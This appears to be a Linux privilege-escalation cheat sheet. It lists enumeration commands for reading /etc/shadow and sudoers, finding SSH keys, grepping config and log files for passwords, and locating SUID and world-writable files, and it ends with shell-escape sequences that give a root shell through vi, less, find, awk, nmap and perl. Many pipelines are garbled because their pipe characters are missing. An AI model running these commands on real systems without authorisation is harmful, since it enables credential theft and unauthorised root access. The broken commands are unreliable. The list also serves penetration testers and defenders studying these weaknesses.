

Kernel, Operating System & Device Information:

Command	Result
<code>uname -a</code>	Print all available system information
<code>uname -r</code>	Kernel release
<code>uname -n</code>	System hostname
<code>hostname</code>	As above
<code>uname -m</code>	Linux kernel architecture (32 or 64 bit)
<code>cat /proc/version</code>	Kernel information
<code>cat /etc/*-release</code>	Distribution information
<code>cat /etc/issue</code>	As above
<code>cat /proc/cpuinfo</code>	CPU information
<code>df -a</code>	File system information

Users & Groups:

Command	Result
<code>cat /etc/passwd</code>	List all users on the system
<code>cat /etc/group</code>	List all groups on the system
<code>for i in \$(cat /etc/passwd 2>/dev/null cut -d":" -f1 2>/dev/null);do id \$i;done 2>/dev/null</code>	List all uid's and respective group memberships
<code>cat /etc/shadow</code>	Show user hashes – Privileged command
<code>grep -v -E "^#" /etc/passwd awk -F: '\$3 == 0 { print \$1}'</code>	List all super user accounts
<code>finger</code>	Users currently logged in
<code>pinky</code>	As above
<code>users</code>	As above
<code>who -a</code>	As above

<code>w</code>	Who is currently logged in and what they're doing
<code>last</code>	Listing of last logged on users
<code>lastlog</code>	Information on when all users last logged in
<code>lastlog -u %username%</code>	Information on when the specified user last logged in
<code>lastlog grep -v "Never"</code>	Entire list of previously logged on users

User & Privilege Information:

Command	Result
<code>whoami</code>	Current username
<code>id</code>	Current user information
<code>cat /etc/sudoers</code>	Who's allowed to do what as root – Privileged command
<code>sudo -l</code>	Can the current user perform anything as root
<code>sudo -l 2>/dev/null grep -w 'nmap perl awk find bash sh man more less vi vim nc netcat python ruby lua irb' xargs -r ls -la 2>/dev/null</code>	Can the current user run any 'interesting' binaries as root and if so also display the binary permissions etc.

Environmental Information:

Command	Result
<code>env</code>	Display environmental variables
<code>set</code>	As above
<code>echo \$PATH</code>	Path information
<code>history</code>	Displays command history of current user
<code>pwd</code>	Print working directory, i.e. 'where am I'
<code>cat /etc/profile</code>	Display default system variables
<code>cat /etc/shells</code>	Display available shells

Interesting Files:

Command	Result
<code>find / -perm -4000 -type f 2>/dev/null</code>	Find SUID files
<code>find / -uid 0 -perm -4000 -type f 2>/dev/null</code>	Find SUID files owned by root
<code>find / -perm -2000 -type f 2>/dev/null</code>	Find GUID files
<code>find / -perm -2 -type f 2>/dev/null</code>	Find world-writable files
<code>find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null</code>	Find world-writable files excluding those in /proc
<code>find / -perm -2 -type d 2>/dev/null</code>	Find world-writable directories
<code>find /home -name *.rhosts -print 2>/dev/null</code>	Find rhost config files
<code>find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;</code>	Find *.plan files, list permissions and cat the file contents
<code>find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;</code>	Find hosts.equiv, list permissions and cat the file contents
<code>ls -ahlR /root/</code>	See if you can access other user directories to find interesting files
<code>cat ~/.bash_history</code>	Show the current users' command history
<code>ls -la ~/.*_history</code>	Show the current users' various history files
<code>ls -la /root/.*_history</code>	Can we read root's history files
<code>ls -la ~/.ssh/</code>	Check for interesting ssh files in the current users' directory
<code>find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null xargs -r ls -la</code>	Find SSH keys/host information
<code>ls -la /usr/sbin/in.*</code>	Check Configuration of inetd services
<code>grep -l -i pass /var/log/*.log</code>	Check log files for keywords ('pass' in this example) and show positive matches

<code>2>/dev/null</code>	
<code>find /var/log -type f -exec ls -la {} ; 2>/dev/null</code>	List files in specified directory (/var/log)
<code>find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null</code>	List .log files in specified directory (/var/log)
<code>find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null</code>	List .conf files in /etc (recursive 1 level)
<code>ls -la /etc/*.conf</code>	As above
<code>find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null</code>	Find .conf files (recursive 4 levels) and output line number where the word 'password' is located
<code>lsof -i -n</code>	List open files (output will depend on account privileges)
<code>head /var/mail/root</code>	Can we read roots mail

Service Information:

Command	Result
<code>ps aux grep root</code>	View services running as root
<code>ps aux awk '{print \$11}' xargs -r ls -la 2>/dev/null awk '!x[\$0]++'</code>	Lookup process binary path and permissions
<code>cat /etc/inetd.conf</code>	List services managed by inetd
<code>cat /etc/xinetd.conf</code>	As above for xinetd
<code>cat /etc/xinetd.conf 2>/dev/null awk '{print \$7}' xargs -r ls -la 2>/dev/null</code>	A very 'rough' command to extract associated binaries from xinetd.conf and show permissions of each
<code>ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null</code>	Permissions and contents of /etc/exports (NFS)

Jobs/Tasks:

Command	Result
<code>crontab -l -u %username%</code>	Display scheduled jobs for the specified user – Privileged command

<code>ls -la /etc/cron*</code>	Scheduled jobs overview (hourly, daily, monthly etc)
<code>ls -aRl /etc/cron* awk '\$1 ~ /w.\$/' 2>/dev/null</code>	What can 'others' write in /etc/cron* directories
<code>top</code>	List of current tasks

Networking, Routing & Communications:

Command	Result
<code>/sbin/ifconfig -a</code>	List all network interfaces
<code>cat /etc/network/interfaces</code>	As above
<code>arp -a</code>	Display ARP communications
<code>route</code>	Display route information
<code>cat /etc/resolv.conf</code>	Show configured DNS sever addresses
<code>netstat -antp</code>	List all TCP sockets and related PIDs (-p Privileged command)
<code>netstat -anup</code>	List all UDP sockets and related PIDs (-p Privileged command)
<code>iptables -L</code>	List rules – Privileged command
<code>cat /etc/services</code>	View port numbers/services mappings

Programs Installed:

Command	Result
<code>dpkg -l</code>	Installed packages (Debian)
<code>rpm -qa</code>	Installed packages (Red Hat)
<code>sudo -V</code>	Sudo version – does an exploit exist?
<code>httpd -v</code>	Apache version
<code>apache2 -v</code>	As above
<code>apache2ctl (or apachectl) -M</code>	List loaded Apache modules
<code>mysql --version</code>	Installed MYSQL version details

<code>psql -V</code>	Installed Postgres version details
<code>perl -v</code>	Installed Perl version details
<code>java -version</code>	Installed Java version details
<code>python --version</code>	Installed Python version details
<code>ruby -v</code>	Installed Ruby version details
<code>find / -name %program_name% 2>/dev/null</code> (i.e. nc, netcat, wget, nmap etc)	Locate 'useful' programs (netcat, wget etc)
<code>which %program_name%</code> (i.e. nc, netcat, wget, nmap etc)	As above
<code>dpkg --list 2>/dev/null grep compiler grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null grep gcc 2>/dev/null</code>	List available compilers
<code>cat /etc/apache2/envvars 2>/dev/null grep -i 'user group' awk '{sub(/.*export /, "")}1'</code>	Which account is Apache running as

Common Shell Escape Sequences:

Command	Program(s)
<code>!:bash</code>	vi, vim
<code>:set shell=/bin/bash:shell</code>	vi, vim
<code>!bash</code>	man, more, less
<code>find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;</code>	find
<code>awk 'BEGIN {system("/bin/bash")}'</code>	awk
<code>--interactive</code>	nmap
<code>echo "os.execute('/bin/sh')" > exploit.nse sudo nmap --script=exploit.nse</code>	nmap (thanks to comment by anonymous below)
<code>perl -e 'exec "/bin/bash";'</code>	Perl

